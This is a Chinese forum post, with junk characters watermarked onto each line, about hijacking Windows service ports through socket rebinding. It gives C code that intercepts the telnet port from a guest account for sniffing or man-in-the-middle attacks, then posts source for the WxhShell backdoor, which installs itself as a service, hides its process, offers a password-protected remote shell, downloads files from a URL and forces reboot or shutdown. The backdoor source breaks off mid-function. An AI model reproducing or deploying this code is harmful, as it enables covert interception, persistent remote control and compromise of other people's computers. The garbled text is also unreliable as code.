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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: OEXa^M4x   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?9:~d#p  
]}>uvl^l  
  saddr.sin_family = AF_INET; a>BPK"K2  
tZ_D.syBAc  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); i'uSu8$'*  
"D7wtpJ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |)b:@q3k+n  
1'BC R  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 uN9J?j*ir  
wdQ%L4l  
  这意味着什么?意味着可以进行如下的攻击: >\ x!a:}  
?j@(1",=&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [^ eQGv[S  
noQS bI @  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "aJf W  
tQmuok4"d  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &W$s-qf".  
%O\zYtQR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  zL/r V<  
,HtX D~N  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wlw`%z-B2  
u/(~ew I  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #B!<gA$/  
WADAp\&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bSj-xxB]e  
_tR?WmNH=  
  #include agp7zw=N  
  #include '0 J*9  
  #include sz+%4T  
  #include    5LJ0V  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }5]7lGR  
  int main() ;U]Ym48  
  { /<T3^/ '  
  WORD wVersionRequested; ^~JF7u  
  DWORD ret; .0?A0D?sP  
  WSADATA wsaData; );=0cnr3  
  BOOL val; 7&3  
  SOCKADDR_IN saddr; T*jQzcm~?  
  SOCKADDR_IN scaddr; QyD(@MFxb  
  int err; ;2[o>73F  
  SOCKET s; A&D<}y/%  
  SOCKET sc; L*(`c cU  
  int caddsize; jhH&}d9  
  HANDLE mt; (Q}ByX  
  DWORD tid;   8'#L+$O &N  
  wVersionRequested = MAKEWORD( 2, 2 ); _t?#  
  err = WSAStartup( wVersionRequested, &wsaData ); 3wN{k\n s  
  if ( err != 0 ) { @Io@1[kj  
  printf("error!WSAStartup failed!\n"); (CInt_dBw~  
  return -1; .,<w_=  
  } ;*njS1@  
  saddr.sin_family = AF_INET; 3@wio[  
   V@r V +s  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 gubw&W  
[,sm]/Xlc  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); W<>R;~)  
  saddr.sin_port = htons(23); uSUog+i  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]DjnzClx  
  { `PZcL2~E  
  printf("error!socket failed!\n"); .S*VYt%K7  
  return -1; #@L5yy2  
  } ?D;7ut$~  
  val = TRUE; WOi+y   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Q[)3r ,D  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Jk;dtLL}4  
  { h?p!uQ  
  printf("error!setsockopt failed!\n"); m>djoe  
  return -1; )zkr[;j~`  
  } W:hTRq  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >?[?W|k7V  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 OmlM9cXm^4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 zMh`Uqid  
/sr. MT  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <l5s[  
  { u Au'2M,_  
  ret=GetLastError(); kgd dq  
  printf("error!bind failed!\n"); E+cx 8(   
  return -1; AnoA5H  
  } (t5vBUj  
  listen(s,2); Cz6bD$5  
  while(1) w5=<}1`St  
  { iy|;xBI,  
  caddsize = sizeof(scaddr); Hi^ Z`97c  
  //接受连接请求 lib}dk  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); jT`u!CwdT  
  if(sc!=INVALID_SOCKET) `+i/rc1.  
  { ;H9 W:_ahE  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )}u?ftu\  
  if(mt==NULL) 2 SU  
  { xVTl  
  printf("Thread Creat Failed!\n"); z{/#/,V5D4  
  break; H(kxRPH4@]  
  } rpc;*t+z  
  } B<ZCuVWH:  
  CloseHandle(mt); }\1V%c  
  } |h6, .#n  
  closesocket(s); 8%p+:6kP5  
  WSACleanup(); "n{JH9sA:  
  return 0; JOyM#g9-?  
  }   <pM6fI6BD  
  DWORD WINAPI ClientThread(LPVOID lpParam) $`P]%I}  
  { O^8=Xj#}  
  SOCKET ss = (SOCKET)lpParam; O&sUPv  
  SOCKET sc; 0}M'>  
  unsigned char buf[4096]; _-2;!L#/  
  SOCKADDR_IN saddr; qDgy7kkQ  
  long num; S5r.so  
  DWORD val; {kvxz  
  DWORD ret; PP]7_h^ 2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /J9Or{#r  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {REGoe=W%  
  saddr.sin_family = AF_INET; ;p87^:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); zjSHa'9*  
  saddr.sin_port = htons(23); Yp\Y]pym  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A)&CI6(  
  { "~KTLf  
  printf("error!socket failed!\n"); /m i&7C(6  
  return -1; [;UI8St w  
  } -Ir>pY\!  
  val = 100; "sWsK %  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Tl#2w=  
  { hZWkw{c  
  ret = GetLastError(); ca5;Z@t$S  
  return -1; @LSX@V   
  } X&Sah}0V&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) oE2VJKs<B  
  { / %iS\R%ca  
  ret = GetLastError(); "'/+}xM"5  
  return -1; \7%wJIeyx  
  } s'OK])>`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~Q5]?ZNX  
  { ^ > ?C  
  printf("error!socket connect failed!\n"); Z?WVSJUVf  
  closesocket(sc); Vv+ oq5hf  
  closesocket(ss); SR_ -wD  
  return -1;  4,?beA  
  } 1&vR7z]*  
  while(1) 8VuLL<\|  
  { ej1WkaR8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 AYfe_Dj  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 N vTp1kI]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `cIeqp  
  num = recv(ss,buf,4096,0); = uepg@J  
  if(num>0) @\M^Zuo  
  send(sc,buf,num,0); ZI8@ 6L\  
  else if(num==0) lR mVeq:  
  break; \ Co Z+  
  num = recv(sc,buf,4096,0); 4W<[& )7  
  if(num>0) PO^#G @  
  send(ss,buf,num,0); nZG zez  
  else if(num==0) Qstd;qE~  
  break; ?6L8#"=  
  } &JD^\+7U:  
  closesocket(ss); Dz/MIx  
  closesocket(sc); .[s6PzQy  
  return 0 ; 8dJ+Ei~M  
  } xsNOjHk  
51* [Ibx  
woF {O)~X  
========================================================== H+@?K6{h  
=h+-1zp{M^  
下边附上一个代码,,WXhSHELL *y$CDv  
6&L;Sw#Dg  
========================================================== 0}|%pmY`  
P{Q$(rOe  
#include "stdafx.h" Y"nz l]T  
I1s$\NZ~]  
#include <stdio.h> ZS`Kj(D  
#include <string.h> Z|)1ftcC  
#include <windows.h> ,f<J4U:Y  
#include <winsock2.h> rV?@Kgxi  
#include <winsvc.h> )n[=)"rf  
#include <urlmon.h> 9E4^hkD&  
^g"p}zf L"  
#pragma comment (lib, "Ws2_32.lib") Der'45]*^  
#pragma comment (lib, "urlmon.lib") D G&aFmC  
zZey  
#define MAX_USER   100 // 最大客户端连接数 !1UZ<hq  
#define BUF_SOCK   200 // sock buffer mHJGpJ=a-  
#define KEY_BUFF   255 // 输入 buffer 'MNCJ;A@V  
kpNp}b8']  
#define REBOOT     0   // 重启 73SH[f[g  
#define SHUTDOWN   1   // 关机 1=`VaS  
0O-"tP8o  
#define DEF_PORT   5000 // 监听端口 Q ;5A~n  
)HvB ceN  
#define REG_LEN     16   // 注册表键长度 yJ6g{#X4K<  
#define SVC_LEN     80   // NT服务名长度 3Wx\Liw,  
C}DIm&))  
// 从dll定义API !| - U,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); koE]\B2A6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "=JE12=u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o02G:!gB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .[3C  
?IoA;GBg  
// wxhshell配置信息 ?{5}3a bB`  
struct WSCFG { !4 lN[  
  int ws_port;         // 监听端口 _N>#/v)Yi  
  char ws_passstr[REG_LEN]; // 口令 (Jk[%_b>_  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0;`+e22  
  char ws_regname[REG_LEN]; // 注册表键名 ; qr?[{G  
  char ws_svcname[REG_LEN]; // 服务名 Wt=@6w&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 cqW(9A|8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Dca,IaT'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]&`=p{Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  C ?'s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" aygK$.wos  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4Tx.|   
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}; Np+pJc1  
7VWy1  
// default Wxhshell configuration T=@Ygjk  
struct WSCFG wscfg={DEF_PORT, 6:`[Fi  
    "xuhuanlingzhe", =qL^#h83y  
    1, 8F's9c,  
    "Wxhshell", e$JATA:j  
    "Wxhshell", >&F:/   
            "WxhShell Service", {LCKt/Z>P  
    "Wrsky Windows CmdShell Service", D]|{xKC}  
    "Please Input Your Password: ", D";clP05K  
  1, )@y7 qb  
  "http://www.wrsky.com/wxhshell.exe", O'3/21)|y  
  "Wxhshell.exe" cR*~JwC:  
    }; GMoz$c6n_  
{ 9\/aXPS  
// 消息定义模块 (N)>?r@n`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,Tk53 "  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5j9%W18  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bqx2lQf,_  
char *msg_ws_ext="\n\rExit."; jR@>~t[}o  
char *msg_ws_end="\n\rQuit."; ~@[<y1g?nG  
char *msg_ws_boot="\n\rReboot..."; b@K1;A! S  
char *msg_ws_poff="\n\rShutdown..."; xh!T,|IR  
char *msg_ws_down="\n\rSave to "; [qk c6sqo  
&& PZ;  
char *msg_ws_err="\n\rErr!"; L 7LUy$M-<  
char *msg_ws_ok="\n\rOK!"; z3>4 xn{  
W`TSR?4~t?  
char ExeFile[MAX_PATH]; P.1Z@HC  
int nUser = 0; g@Y]$ey%A  
HANDLE handles[MAX_USER]; 2pP"dX  
int OsIsNt; ,pQ[e$u1  
>*n4j:  
SERVICE_STATUS       serviceStatus; :QXKG8^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &Mt0Qa[  
t3K9 |8<  
// 函数声明 j7NOYm5N  
int Install(void); 1Y~'U =9  
int Uninstall(void); _?$w8 S%  
int DownloadFile(char *sURL, SOCKET wsh); 4p6T0II_$  
int Boot(int flag); 7-\wr^ll3  
void HideProc(void); b5f+q:?{  
int GetOsVer(void); h%v qt~0  
int Wxhshell(SOCKET wsl); s ;]"LD@  
void TalkWithClient(void *cs); '0&HkM{ D  
int CmdShell(SOCKET sock); /ZH*t\  
int StartFromService(void); r@wE?hK  
int StartWxhshell(LPSTR lpCmdLine); N$.ls48a4-  
|8GLS4.]t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iQLP~Z>,T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s*eM}d.p  
K2V?[O#  
// 数据结构和表定义 cHVu6I?h  
SERVICE_TABLE_ENTRY DispatchTable[] = E33x)CP  
{ VD =f 'D  
{wscfg.ws_svcname, NTServiceMain}, g9d/nR X&  
{NULL, NULL} yD8Qy+6L  
}; Y|W#VyM-  
rhGB l`(B  
// 自我安装 Y ._O m}H  
int Install(void) A.r.tf}:  
{ VMNdC}  
  char svExeFile[MAX_PATH]; s5MG#M 9  
  HKEY key; h///  
  strcpy(svExeFile,ExeFile); zgn`@y2  
'] _7Xa'  
// 如果是win9x系统,修改注册表设为自启动 qP=a:R-  
if(!OsIsNt) { 5Z#(C#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u~mpZ"9$ 3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %%h.`p1  
  RegCloseKey(key); %L-{4Z!"sI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %z"$?Iv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U2\k7I  
  RegCloseKey(key); OGq=OW  
  return 0; 9,"gXsvx(  
    } &hZ6CV{  
  } xr!A>q+@i  
} V=Bmpg  
else { gx C`Ml  
z@jKzyq  
// 如果是NT以上系统,安装为系统服务 xZloEfv.B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Dr}elR>~G=  
if (schSCManager!=0) C?6q ]k]r  
{ UyF;sw  
  SC_HANDLE schService = CreateService t!>0^['g4  
  (  8*uaI7;*  
  schSCManager, ?b(DDQMf  
  wscfg.ws_svcname, eV0eMDY5  
  wscfg.ws_svcdisp, V {}TG]  
  SERVICE_ALL_ACCESS, v)*eLX$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7CX5pRNL  
  SERVICE_AUTO_START, 1D~B\=LL}  
  SERVICE_ERROR_NORMAL, 4%<D\#  
  svExeFile, 9G6auk.m.O  
  NULL, ;BHIss7  
  NULL, 5xH*&GpL7  
  NULL, zT hut!O  
  NULL, .ffr2\'*  
  NULL i}))6   
  ); GzT?I 7|M  
  if (schService!=0) ZCfd<NS?  
  { Kf6D$}  
  CloseServiceHandle(schService); H;FzWcm  
  CloseServiceHandle(schSCManager); Yg1HvSw\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HLE%f;  
  strcat(svExeFile,wscfg.ws_svcname); ~AF' 6"A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |%(qaPA1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P>|sCF  
  RegCloseKey(key); .e5rKkkT  
  return 0; M%Q_;\?]  
    } 9a'}j#mJo  
  } H\|H]:CE  
  CloseServiceHandle(schSCManager); a1v?{vu\E  
} 6%&w\<(SG  
} C{V,=Fo^  
+# @2,  
return 1; R ggZ'.\  
} N,ZmGzNP)  
.WGrzhsV  
// 自我卸载 01+TVWKX  
int Uninstall(void) 9}d^ll&  
{ NRe=O*O  
  HKEY key; 1EliR uJ  
Wtflw>-  
if(!OsIsNt) { ;^8X(R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z*N%kcw"  
  RegDeleteValue(key,wscfg.ws_regname); Q+E)_5_sA  
  RegCloseKey(key); _+&/P&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1]7v3m  
  RegDeleteValue(key,wscfg.ws_regname); Dh9C9<Ta:  
  RegCloseKey(key); /J&_ZDNV~  
  return 0; LlbE]_Z!U%  
  } iUf?MDE  
} |eej}G(,m}  
} 9]a!1  
else { m$$sNPnT  
c+UZ UgP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OUm,;WNLf  
if (schSCManager!=0) }DkdF  
{ Gg5>~"pb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XJ?zP=UK  
  if (schService!=0) K`kWfPwp  
  { AH# Dk5#G  
  if(DeleteService(schService)!=0) { -$(2Z[  
  CloseServiceHandle(schService); }A7 ] bd  
  CloseServiceHandle(schSCManager); '\Uy;,tu /  
  return 0; = /=?l  
  } ZJ |&t  
  CloseServiceHandle(schService); `q?@ Ob&  
  } S6c>D&Q  
  CloseServiceHandle(schSCManager); F6 f  
} (.9H1aO46|  
} f,8PPJ:,  
UphZRgT!N  
return 1; 8?$XT  
} -W)8Z.  
*En4~;l  
// 从指定url下载文件 #80r?,q  
int DownloadFile(char *sURL, SOCKET wsh) lAPPn g`  
{ lC=T{rR  
  HRESULT hr; Q%_MO`<]$  
char seps[]= "/"; V%n7 h&\%  
char *token; vOBXAF  
char *file; Z(o]8*;A i  
char myURL[MAX_PATH]; w(R+p/RF  
char myFILE[MAX_PATH]; Zs}EGC~&  
-|/*S]6kK  
strcpy(myURL,sURL); O*hQP*Rs  
  token=strtok(myURL,seps); vN`JP`IBx  
  while(token!=NULL) 9lSs;zm{Q  
  { F!ra$5u  
    file=token; g42Z*+P6N  
  token=strtok(NULL,seps); Ip;;@o&D  
  } D? FWSv  
6g%~~hX  
GetCurrentDirectory(MAX_PATH,myFILE); hrTl:\  
strcat(myFILE, "\\"); j9$kaEf  
strcat(myFILE, file); [knwp$  
  send(wsh,myFILE,strlen(myFILE),0); r[RO"Ej"  
send(wsh,"...",3,0); {@T<eb$d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'Rw*WK  
  if(hr==S_OK) hquN+eIDH  
return 0; OJPi*i5*  
else q%8Ck)xz  
return 1; H4g1@[{|0O  
gYvT'72  
} Mg=R**s1x%  
5q{ -RJ  
// 系统电源模块 Ky6 d{|H  
int Boot(int flag) -owap-Va  
{ A7sva@}W  
  HANDLE hToken; F}=O Mo:.  
  TOKEN_PRIVILEGES tkp; Ln&CB!u  
td\'BV  
  if(OsIsNt) { m[6c{$A/w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,(&5y:o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lyQNE3   
    tkp.PrivilegeCount = 1; ?/^x)Nm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h9WyQl7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;$rh&ET  
if(flag==REBOOT) { P/doNv}iG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oq9gG)F  
  return 0; m15> ^i^W  
} Ls(l  
else { q;H5S<]/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <l"rnM%  
  return 0; O*+,KKPt  
} ThJ`-Ro  
  } %Y<3v \`_  
  else { %n:ymc $}  
if(flag==REBOOT) { pJPP6Be<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W)fh}|.5  
  return 0; QKtVwsz +  
} f^9ntos|  
else { p )w{}@%r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )5U2-g#U  
  return 0; C&-]RffA  
} [eO6 H2@=z  
} - <M'h  
Lt\=E8&rh  
return 1; (ixlFGvEq  
} Wc!.{2  
Q!v]njCIB7  
// win9x进程隐藏模块 /F7X"_(H  
void HideProc(void) ` beU2N  
{ |!.VpN&  
A<<Bm M.%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `]4bH,%~  
  if ( hKernel != NULL ) T$Rj/u t1  
  { c$52b4=a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *-.,QpgTX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =Z}=nS?4  
    FreeLibrary(hKernel); O t1:z:Pl  
  } mZ}C)&,m2  
1h#UM6  
return; qASV\ <n  
} rhA>;9\  
/E<:=DD<  
// 获取操作系统版本 XD$;K$_7  
int GetOsVer(void) l F*x\AT  
{ 31=v US  
  OSVERSIONINFO winfo; m vLqccL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [3fmhc  
  GetVersionEx(&winfo); ^.~m4t`U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dId&tTMmC  
  return 1;  D/]  
  else 4oA9|}<FR  
  return 0;  ua] ?D2  
} HA0Rv#p  
=Xh*w  
// 客户端句柄模块 7o4B1YD  
int Wxhshell(SOCKET wsl) +je{%,*  
{ -/3D0`R  
  SOCKET wsh; Z"Byv.yqb  
  struct sockaddr_in client; Fv T;8ik:3  
  DWORD myID; pCt0[R;?  
{&d )O  
  while(nUser<MAX_USER) !@wG22iC4d  
{ Xw |6 #^  
  int nSize=sizeof(client); r"\g6<RP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Zt H{2j0  
  if(wsh==INVALID_SOCKET) return 1; _rjB.  
do&0m[x%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I4\ c+f9  
if(handles[nUser]==0) D;QV`Z% I  
  closesocket(wsh); j^qI~|#  
else 0o &B 7N  
  nUser++; x !QA* M  
  } IBSoAL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I4%25=0?  
lJ/{.uK  
  return 0; I^itlQ  
} sm96Ye{O{  
-P[bA0N,  
// 关闭 socket -VPda @@w  
void CloseIt(SOCKET wsh) C:$pAE(  
{ fgEMn;  
closesocket(wsh); <Z^qBM  
nUser--; $G@^!(  
ExitThread(0); =V*4&OU  
} B#Z-kFn@  
aT`. e  
// 客户端请求句柄 5_~QS  
void TalkWithClient(void *cs) fS?fNtD6<  
{ %5|DdpES  
-e(,>9Q  
  SOCKET wsh=(SOCKET)cs; [$P.ek<  
  char pwd[SVC_LEN]; kFo&!  
  char cmd[KEY_BUFF]; k>mqKzT0$+  
char chr[1]; H]d'#1G  
int i,j;  Im8c  
D>).^>|q  
  while (nUser < MAX_USER) { Z5%TpAu[  
3PU'd^  
if(wscfg.ws_passstr) { I!uGI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "}'Sk(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iz pFl@WS  
  //ZeroMemory(pwd,KEY_BUFF); Isna KcLM  
      i=0; cAAyyc"yJ  
  while(i<SVC_LEN) { $,L,VYN  
WA&&*ae5`  
  // 设置超时 P<GHX~nB  
  fd_set FdRead; 5xF R7%_&  
  struct timeval TimeOut; Q($aN-   
  FD_ZERO(&FdRead); .ugQH<B  
  FD_SET(wsh,&FdRead); I}{Xv#@o  
  TimeOut.tv_sec=8; 6ISDY>p  
  TimeOut.tv_usec=0; | *J-9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ? (f44Zgm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Vn1hr;i]  
z`Cq,Sz/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G oJ\6& "  
  pwd=chr[0]; !NfN16  
  if(chr[0]==0xd || chr[0]==0xa) { YDMimis\H5  
  pwd=0; <dA1n:3o  
  break; b+`mh  
  } OK"B`*  
  i++; :$"L;"  
    } &QQ8ut,;  
%: .{?FB_  
  // 如果是非法用户,关闭 socket {Z=m5Dy}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &QL!Y{=Y6  
} vHz]-Q-|9  
h&4f9HhS=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3_]<H<w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SdTJ?P+m  
:W\xZ  
while(1) { ?]# U~M<'  
o?$B<Cb"  
  ZeroMemory(cmd,KEY_BUFF); iS"(  
"x*5g*k  
      // 自动支持客户端 telnet标准   G#pRBA^  
  j=0; 1E*No1  
  while(j<KEY_BUFF) { AGN5=K*D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >_4Ck{^d#  
  cmd[j]=chr[0]; ?(^HjRUY  
  if(chr[0]==0xa || chr[0]==0xd) { _IOt(Zb(  
  cmd[j]=0; Qw ukhD7  
  break; gqje]Zc<  
  } na &?Cw  
  j++; 5UQz6DK  
    } -o8H_MR  
<J`",h  
  // 下载文件 3f2%+2Zjt,  
  if(strstr(cmd,"http://")) { 93-UA.+g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nl)!)t=n  
  if(DownloadFile(cmd,wsh)) (hB&OP5Fne  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w~NQAHAvo  
  else s:y~vd(Vi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fAu^eS%>7  
  } )x/Spb  
  else { |&+0Tg~ZE  
hlpi-oW`  
    switch(cmd[0]) { 37hs/=x  
  WB2An7i@"{  
  // 帮助 (5s$vcK  
  case '?': { s4@dEK8W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [X'XxYbZ  
    break; p&SxR}h  
  } "lcNjyU\O  
  // 安装 P8N`t&r"7  
  case 'i': { c/Fy1Lv\  
    if(Install()) :Yi1#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tiZ5 :^$b4  
    else d{cd+An  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "+oP((9  
    break; [Bn C_^[W  
    } "<3F[[;~  
  // 卸载 zW^_w&fd^j  
  case 'r': { 'OI Ol  
    if(Uninstall()) 9`P<|(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5OUGln5  
    else  L|hdV\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _i_^s0J  
    break; Arg604V3  
    } `nAR/Ye  
  // 显示 wxhshell 所在路径 #wXq'yi  
  case 'p': { .TcsXYL.`,  
    char svExeFile[MAX_PATH]; WmO.&zp  
    strcpy(svExeFile,"\n\r"); @>Y.s6a  
      strcat(svExeFile,ExeFile); toD v~v  
        send(wsh,svExeFile,strlen(svExeFile),0); xq`mo  
    break; N/wUP  
    } Gwyjie9t  
  // 重启 PtH>I,/  
  case 'b': { ~#z8Q{!O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  !t.  
    if(Boot(REBOOT)) 9 7/"5i9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qH#?, sK ^  
    else { `/ W6, ]  
    closesocket(wsh); 6n[O8^  
    ExitThread(0); RO>3U2  
    } G@Ha t  
    break;  F#0y0|  
    } Ri[ v(Zf  
  // 关机 1(S0hm[ov  
  case 'd': { iME )Jl&  
